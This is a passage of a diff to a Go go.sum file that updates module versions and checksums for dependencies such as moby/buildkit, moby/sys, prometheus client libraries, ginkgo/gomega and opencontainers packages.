v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= @@ -458,41 +530,45 @@ github.com/mattn/go-shellwords v1.0.12 h1:M2zGm7EW6UQJvDeQxo4T51eKPurbeFbe8WtebG github.com/mattn/go-shellwords v1.0.12/go.mod h1:EZzvwXDESEeg03EKmM+RmDnNOPKG4lLtQsUlTZDWQ8Y= github.com/mattn/go-sqlite3 v1.6.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4= github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE= -github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI= -github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE= github.com/miekg/pkcs11 v1.0.2/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs= github.com/miekg/pkcs11 v1.1.1 h1:Ugu9pdy6vAYku5DEpVWVFPYnzV+bxB+iRdbuFSu7TvU= github.com/miekg/pkcs11 v1.1.1/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs= -github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= -github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= +github.com/mitchellh/hashstructure/v2 v2.0.2 h1:vGKWl0YJqUNxE8d+h8f6NJLcCJrgbhC4NcD46KavDd4= +github.com/mitchellh/hashstructure/v2 v2.0.2/go.mod h1:MG3aRVU/N29oo/V/IhBX8GR/zz4kQkprJgF2EVszyDE= github.com/mitchellh/mapstructure v0.0.0-20150613213606-2caf8efc9366/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= -github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= -github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= -github.com/moby/buildkit v0.13.2 h1:nXNszM4qD9E7QtG7bFWPnDI1teUQFQglBzon/IU3SzI= -github.com/moby/buildkit v0.13.2/go.mod h1:2cyVOv9NoHM7arphK9ZfHIWKn9YVZRFd1wXB8kKmEzY= +github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.5.1-0.20231216201459-8508981c8b6c h1:cqn374mizHuIWj+OSJCajGr/phAmuMug9qIX3l9CflE= +github.com/mitchellh/mapstructure v1.5.1-0.20231216201459-8508981c8b6c/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/moby/buildkit v0.20.0 h1:aF5RujjQ310Pn6SLL/wQYIrSsPXy0sQ5KvWifwq1h8Y= +github.com/moby/buildkit v0.20.0/go.mod h1:HYFUIK+iGDRxRgdphZ9Nv0y1Fz7mv0HrU7xZoXx217E= github.com/moby/docker-image-spec v1.3.1 h1:jMKff3w6PgbfSa69GfNg+zN/XLhfXJGnEx3Nl2EsFP0= github.com/moby/docker-image-spec v1.3.1/go.mod h1:eKmb5VW8vQEh/BAr2yvVNvuiJuY6UIocYsFu/DxxRpo= github.com/moby/locker v1.0.1 h1:fOXqR41zeveg4fFODix+1Ch4mj/gT0NE1XJbp/epuBg= github.com/moby/locker v1.0.1/go.mod h1:S7SDdo5zpBK84bzzVlKr2V0hz+7x9hWbYC/kq7oQppc= github.com/moby/patternmatcher v0.6.0 h1:GmP9lR19aU5GqSSFko+5pRqHi+Ohk1O69aFiKkVGiPk= github.com/moby/patternmatcher v0.6.0/go.mod h1:hDPoyOpDY7OrrMDLaYoY3hf52gNCR/YOUYxkhApJIxc= -github.com/moby/spdystream v0.2.0 h1:cjW1zVyyoiM0T7b6UoySUFqzXMoqRckQtXwGPiBhOM8= -github.com/moby/spdystream v0.2.0/go.mod h1:f7i0iNDQJ059oMTcWxx8MA/zKFIuD/lY+0GqbN2Wy8c= -github.com/moby/sys/mountinfo v0.7.1 h1:/tTvQaSJRr2FshkhXiIpux6fQ2Zvc4j7tAhMTStAG2g= -github.com/moby/sys/mountinfo v0.7.1/go.mod h1:IJb6JQeOklcdMU9F5xQ8ZALD+CUr5VlGpwtX+VE0rpI= -github.com/moby/sys/sequential v0.5.0 h1:OPvI35Lzn9K04PBbCLW0g4LcFAJgHsvXsRyewg5lXtc= -github.com/moby/sys/sequential v0.5.0/go.mod h1:tH2cOOs5V9MlPiXcQzRC+eEyab644PWKGRYaaV5ZZlo= -github.com/moby/sys/signal v0.7.0 h1:25RW3d5TnQEoKvRbEKUGay6DCQ46IxAVTT9CUMgmsSI= -github.com/moby/sys/signal v0.7.0/go.mod h1:GQ6ObYZfqacOwTtlXvcmh9A26dVRul/hbOZn88Kg8Tg= -github.com/moby/sys/symlink v0.2.0 h1:tk1rOM+Ljp0nFmfOIBtlV3rTDlWOwFRhjEeAhZB0nZc= -github.com/moby/sys/symlink v0.2.0/go.mod h1:7uZVF2dqJjG/NsClqul95CqKOBRQyYSNnJ6BMgR/gFs= -github.com/moby/sys/user v0.1.0 h1:WmZ93f5Ux6het5iituh9x2zAG7NFY9Aqi49jjE1PaQg= -github.com/moby/sys/user v0.1.0/go.mod h1:fKJhFOnsCN6xZ5gSfbM6zaHGgDJMrqt9/reuj4T7MmU= -github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0= -github.com/moby/term v0.5.0/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y= +github.com/moby/spdystream v0.5.0 h1:7r0J1Si3QO/kjRitvSLVVFUjxMEb/YLj6S9FF62JBCU= +github.com/moby/spdystream v0.5.0/go.mod h1:xBAYlnt/ay+11ShkdFKNAG7LsyK/tmNBVvVOwrfMgdI= +github.com/moby/sys/capability v0.4.0 h1:4D4mI6KlNtWMCM1Z/K0i7RV1FkX+DBDHKVJpCndZoHk= +github.com/moby/sys/capability v0.4.0/go.mod h1:4g9IK291rVkms3LKCDOoYlnV8xKwoDTpIrNEE35Wq0I= +github.com/moby/sys/mountinfo v0.7.2 h1:1shs6aH5s4o5H2zQLn796ADW1wMrIwHsyJ2v9KouLrg= +github.com/moby/sys/mountinfo v0.7.2/go.mod h1:1YOa8w8Ih7uW0wALDUgT1dTTSBrZ+HiBLGws92L2RU4= +github.com/moby/sys/sequential v0.6.0 h1:qrx7XFUd/5DxtqcoH1h438hF5TmOvzC/lspjy7zgvCU= +github.com/moby/sys/sequential v0.6.0/go.mod h1:uyv8EUTrca5PnDsdMGXhZe6CCe8U/UiTWd+lL+7b/Ko= +github.com/moby/sys/signal v0.7.1 h1:PrQxdvxcGijdo6UXXo/lU/TvHUWyPhj7UOpSo8tuvk0= +github.com/moby/sys/signal v0.7.1/go.mod h1:Se1VGehYokAkrSQwL4tDzHvETwUZlnY7S5XtQ50mQp8= +github.com/moby/sys/symlink v0.3.0 h1:GZX89mEZ9u53f97npBy4Rc3vJKj7JBDj/PN2I22GrNU= +github.com/moby/sys/symlink v0.3.0/go.mod h1:3eNdhduHmYPcgsJtZXW1W4XUJdZGBIkttZ8xKqPUJq0= +github.com/moby/sys/user v0.3.0 h1:9ni5DlcW5an3SvRSx4MouotOygvzaXbaSrc/wGDFWPo= +github.com/moby/sys/user v0.3.0/go.mod h1:bG+tYYYJgaMtRKgEmuueC0hJEAZWwtIbZTB+85uoHjs= +github.com/moby/sys/userns v0.1.0 h1:tVLXkFOxVu9A64/yh59slHVv9ahO9UIev4JZusOLG/g= +github.com/moby/sys/userns v0.1.0/go.mod h1:IHUYgu/kao6N8YZlp9Cf444ySSvCmDlmzUcYfDHOl28= +github.com/moby/term v0.5.2 h1:6qk3FJAFDs6i/q3W/pQ97SX192qKfZgGjCQqfCJkgzQ= +github.com/moby/term v0.5.2/go.mod h1:d3djjFCrjnB+fl8NJux+EJzu0msscUP+f8it8hPkFLc= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= @@ -509,30 +585,32 @@ github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8m github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f h1:y5//uYreIhSUg3J1GEMiLbxo1LJaP8RfCpH6pymGZus= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw= -github.com/nicksnyder/go-i18n/v2 v2.4.0 h1:3IcvPOAvnCKwNm0TB0dLDTuawWEj+ax/RERNC+diLMM= -github.com/nicksnyder/go-i18n/v2 v2.4.0/go.mod h1:nxYSZE9M0bf3Y70gPQjN9ha7XNHX7gMc814+6wVyEI4= +github.com/nicksnyder/go-i18n/v2 v2.4.1 h1:zwzjtX4uYyiaU02K5Ia3zSkpJZrByARkRB4V3YPrr0g= +github.com/nicksnyder/go-i18n/v2 v2.4.1/go.mod h1:++Pl70FR6Cki7hdzZRnEEqdc2dJt+SAGotyFg/SvZMk= github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= github.com/oklog/ulid/v2 v2.1.0 h1:+9lhoxAP56we25tyYETBBY1YLA2SaoLvUFgrP2miPJU= github.com/oklog/ulid/v2 v2.1.0/go.mod h1:rcEKHmBBKfef9DhnvX7y1HZBYxjXb0cP5ExxNsTT1QQ= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.12.0 h1:Iw5WCbBcaAAd0fpRb1c9r5YCylv4XDoCSigm1zLevwU= github.com/onsi/ginkgo v1.12.0/go.mod h1:oUhWkIvk5aDxtKvDDuw8gItl8pKl42LzjC9KZE0HfGg= -github.com/onsi/ginkgo/v2 v2.17.2 h1:7eMhcy3GimbsA3hEnVKdw/PQM9XN9krpKVXsZdph0/g= -github.com/onsi/ginkgo/v2 v2.17.2/go.mod h1:nP2DPOQoNsQmsVyv5rDA8JkXQoCs6goXIvr/PRJ1eCc= +github.com/onsi/ginkgo/v2 v2.22.0 h1:Yed107/8DjTr0lKCNt7Dn8yQ6ybuDRQoMGrNFKzMfHg= +github.com/onsi/ginkgo/v2 v2.22.0/go.mod h1:7Du3c42kxCUegi0IImZ1wUQzMBVecgIHjR1C+NkhLQo= github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= github.com/onsi/gomega v1.9.0/go.mod h1:Ho0h+IUsWyvy1OpqCwxlQ/21gkhVunqlU8fDGcoTdcA= -github.com/onsi/gomega v1.33.1 h1:dsYjIxxSR755MDmKVsaFQTE22ChNBcuuTWgkUDSubOk= -github.com/onsi/gomega v1.33.1/go.mod h1:U4R44UsT+9eLIaYRB2a5qajjtQYn0hauxvRm16AVYg0= +github.com/onsi/gomega v1.36.1 h1:bJDPBO7ibjxcbHMgSCoo4Yj18UWbKDlLwX1x9sybDcw= +github.com/onsi/gomega v1.36.1/go.mod h1:PvZbdDc8J6XJEpDK4HCuRBm8a6Fzp9/DmhC9C7yFlog= github.com/opencontainers/go-digest v0.0.0-20170106003457-a6d0ee40d420/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s= github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U= github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= github.com/opencontainers/image-spec v1.0.1/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0= github.com/opencontainers/image-spec v1.1.0 h1:8SG7/vwALn54lVB/0yZ/MMwhFrPYtpEHQb2IpWsCzug= github.com/opencontainers/image-spec v1.1.0/go.mod h1:W4s4sFTMaBeK1BQLXbG4AdM2szdn85PY75RI83NrTrM= -github.com/opencontainers/runtime-spec v1.1.0 h1:HHUyrt9mwHUjtasSbXSMvs4cyFxh+Bll4AjJ9odEGpg= -github.com/opencontainers/runtime-spec v1.1.0/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= -github.com/opencontainers/selinux v1.11.0 h1:+5Zbo97w3Lbmb3PeqQtpmTkMwsW5nRI3YaLpt7tQ7oU= -github.com/opencontainers/selinux v1.11.0/go.mod h1:E5dMC3VPuVvVHDYmi78qvhJp8+M586T4DlDRYpFkyec= +github.com/opencontainers/runtime-spec v1.2.0 h1:z97+pHb3uELt/yiAWD691HNHQIF07bE7dzrbT927iTk= +github.com/opencontainers/runtime-spec v1.2.0/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= +github.com/opencontainers/runtime-tools v0.9.1-0.20221107090550-2e043c6bd626 h1:DmNGcqH3WDbV5k8OJ+esPWbqUOX5rMLR2PMvziDMJi0= +github.com/opencontainers/runtime-tools v0.9.1-0.20221107090550-2e043c6bd626/go.mod h1:BRHJJd0E+cx42OybVYSgUvZmU0B8P9gZuRXlZUP7TKI= +github.com/opencontainers/selinux v1.11.1 h1:nHFvthhM0qY8/m+vfhJylliSshm8G1jJ2jDMcgULaH8= +github.com/opencontainers/selinux v1.11.1/go.mod h1:E5dMC3VPuVvVHDYmi78qvhJp8+M586T4DlDRYpFkyec= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= github.com/opentracing/opentracing-go v1.2.0 h1:uEJPy/1a5RIPAJ0Ov+OIO8OxWu77jEv+1B0VhjKrZUs= github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc= @@ -541,25 +619,31 @@ github.com/outcaste-io/ristretto v0.2.3/go.mod h1:W8HywhmtlopSB1jeMg3JtdIhf+DYkL github.com/pborman/getopt v0.0.0-20170112200414-7148bc3a4c30/go.mod h1:85jBQOZwpVEaDAr341tbn15RS4fCAsIst0qp7i8ex1o= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= -github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= -github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= -github.com/philhofer/fwd v1.1.2 h1:bnDivRJ1EWPjUIRXV5KfORO897HTbpFAQddBdE8t7Gw= -github.com/philhofer/fwd v1.1.2/go.mod h1:qkPdfjR2SIEbspLqpe1tO4n5yICnr2DY7mqEx2tUTP0= +github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M= +github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc= +github.com/philhofer/fwd v1.1.3-0.20240612014219-fbbf4953d986 h1:jYi87L8j62qkXzaYHAQAhEapgukhenIMZRBKTNRLHJ4= +github.com/philhofer/fwd v1.1.3-0.20240612014219-fbbf4953d986/go.mod h1:RqIHx9QI14HlwKwm98g9Re5prTQ6LdeRQn+gXJFxsJM= github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c h1:+mdjkGKdHQG3305AYmdv1U2eRNDiU2ErMBj1gwrq8eQ= github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c/go.mod h1:7rwL4CYBLnjLxUqIJNnCWiEdr3bn6IUYi15bNlnbCCU= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 h1:GFCKgmp0tecUJ0sJuv4pzYCqS9+RGSn52M3FUwPs+uo= +github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10/go.mod h1:t/avpk3KcrXxUnYOhZhMXJlSEyie6gQbtLq5NM3loB8= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= +github.com/power-devops/perfstat v0.0.0-20220216144756-c35f1ee13d7c h1:NRoLoZvkBTKvR5gQLgA3e0hqjkY9u1wm+iOL45VN/qI= +github.com/power-devops/perfstat v0.0.0-20220216144756-c35f1ee13d7c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= github.com/prometheus/client_golang v0.9.0-pre1.0.20180209125602-c332b6f63c06/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= github.com/prometheus/client_golang v1.1.0/go.mod h1:I1FGZT9+L76gKKOs5djB6ezCbFQP1xR9D75/vuwEF3g= -github.com/prometheus/client_golang v1.19.1 h1:wZWJDwK+NameRJuPGDhlnFgx8e8HN3XHQeLaYJFJBOE= -github.com/prometheus/client_golang v1.19.1/go.mod h1:mP78NwGzrVks5S2H6ab8+ZZGJLZUq1hoULYBAYBw1Ho= +github.com/prometheus/client_golang v1.20.5 h1:cxppBPuYhUnsO6yo/aoRol4L7q7UFfdm+bR9r+8l63Y= +github.com/prometheus/client_golang v1.20.5/go.mod h1:PIEt8X02hGcP8JWbeHyeZ53Y/jReSnHgO035n//V5WE= github.com/prometheus/client_model v0.0.0-20171117100541-99fa1f4be8e5/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= @@ -569,8 +653,8 @@ github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQy github.com/prometheus/common v0.0.0-20180110214958-89604d197083/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.6.0/go.mod h1:eBmuwkDJBwy6iBfxCBob6t6dR6ENT/y+J+Zk0j9GMYc= -github.com/prometheus/common v0.54.0 h1:ZlZy0BgJhTwVZUn7dLOkwCZHUkrAqd3WYtcFCWnM1D8= -github.com/prometheus/common v0.54.0/go.mod h1:/TQgMJP5CuVYveyT7n/0Ix8yLNNXy9yRSkhnLTHPDIQ= +github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc= +github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8= github.com/prometheus/procfs v0.0.0-20180125133057-cb4147076ac7/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= @@ -579,28 +663,40 @@ github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0leargg github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk= github.com/r3labs/sse v0.0.0-20210224172625-26fe804710bc h1:zAsgcP8MhzAbhMnB1QQ2O7ZhWYVGYSR2iVcjzQuPV+o= github.com/r3labs/sse v0.0.0-20210224172625-26fe804710bc/go.mod h1:S8xSOnV3CgpNrWd0GQ/OoQfMtlg2uPRSuTzcSGrzwK8= -github.com/richardartoul/molecule v1.0.1-0.20221107223329-32cfee06a052 h1:Qp27Idfgi6ACvFQat5+VJvlYToylpM/hcyLBI3WaKPA= -github.com/richardartoul/molecule v1.0.1-0.20221107223329-32cfee06a052/go.mod h1:uvX/8buq8uVeiZiFht+0lqSLBHF+uGV8BrTv8W/SIwk= +github.com/redis/go-redis/v9 v9.6.1 h1:HHDteefn6ZkTtY5fGUE8tj8uy85AHk6zP7CpzIAM0y4= +github.com/redis/go-redis/v9 v9.6.1/go.mod h1:0C0c6ycQsdpVNQpxb1njEQIqkx5UcsM8FJCQLgE9+RA= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/richardartoul/molecule v1.0.1-0.20240531184615-7ca0df43c0b3 h1:4+LEVOB87y175cLJC/mbsgKmoDOjrBldtXvioEy96WY= +github.com/richardartoul/molecule v1.0.1-0.20240531184615-7ca0df43c0b3/go.mod h1:vl5+MqJ1nBINuSsUI2mGgH79UweUT/B5Fy8857PqyyI= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= -github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= -github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= -github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= -github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= +github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= +github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= +github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= +github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/sagikazarmark/locafero v0.6.0 h1:ON7AQg37yzcRPU69mt7gwhFEBwxI6P9T4Qu3N51bwOk= -github.com/sagikazarmark/locafero v0.6.0/go.mod h1:77OmuIc6VTraTXKXIs/uvUxKGUXjE1GbemJYHqdNjX0= +github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/ryanuber/go-glob v1.0.0 h1:iQh3xXAumdQ+4Ufa5b25cRpC5TYKlno6hsv6Cb3pkBk= +github.com/ryanuber/go-glob v1.0.0/go.mod h1:807d1WSdnB0XRJzKNil9Om6lcp/3a0v4qIHxIXzX/Yc= +github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= +github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= -github.com/secure-systems-lab/go-securesystemslib v0.8.0 h1:mr5An6X45Kb2nddcFlbmfHkLguCE9laoZCUzEEpIZXA= -github.com/secure-systems-lab/go-securesystemslib v0.8.0/go.mod h1:UH2VZVuJfCYR8WgMlCU1uFsOUU+KeyrTWcSS73NBOzU= +github.com/secure-systems-lab/go-securesystemslib v0.7.0 h1:OwvJ5jQf9LnIAS83waAjPbcMsODrTQUpJ02eNLUoxBg= +github.com/secure-systems-lab/go-securesystemslib v0.7.0/go.mod h1:/2gYnlnHVQ6xeGtfIqFy7Do03K4cdCY0A/GlJLDKLHI= github.com/serialx/hashring v0.0.0-20200727003509-22c0c7ab6b1b h1:h+3JX2VoWTFuyQEo87pStk/a99dzIO1mM9KxIyLPGTU= github.com/serialx/hashring v0.0.0-20200727003509-22c0c7ab6b1b/go.mod 